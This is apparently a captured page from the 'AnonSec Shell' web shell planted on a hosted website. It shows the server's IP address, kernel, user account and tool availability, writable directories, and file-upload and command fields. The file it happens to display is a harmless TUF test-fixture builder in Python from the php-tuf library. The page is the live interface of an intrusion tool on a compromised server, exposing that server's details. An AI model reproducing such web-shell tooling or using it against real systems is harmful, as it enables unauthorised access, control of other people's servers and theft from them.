AnonSec Shell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.144
Web Server : Apache
System : Linux webd003.cluster120.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : maitricfuz ( 93378)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/maitricfuz/www/maitric/libraries/vendor/php-tuf/php-tuf/fixtures/PublishedTwice/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/maitricfuz/www/maitric/libraries/vendor/php-tuf/php-tuf/fixtures/PublishedTwice//__init__.py
from fixtures.builder import ConsistencyVariantFixtureBuilder


def build(rotate_keys=None):
    """
    Generates a TUF test fixture that publishes twice -- once on the client,
    and twice on the server -- and, in between those two publications, can
    optionally rotate the keys of a given role.
    """
    name = 'PublishedTwice'
    if rotate_keys is not None:
        name += 'WithRotatedKeys_' + rotate_keys

    fixture = ConsistencyVariantFixtureBuilder(name, { 'use_snapshot_hashes': True, 'use_snapshot_length': True, 'use_timestamp_hashes': True, 'use_timestamp_length': True })\
        .publish(with_client=True)
    fixture.create_target('test.txt')

    if rotate_keys is not None:
        fixture.add_key(rotate_keys)\
            .revoke_key(rotate_keys, key_index=0)
    fixture.publish()

Anon7 - 2022
AnonSec Team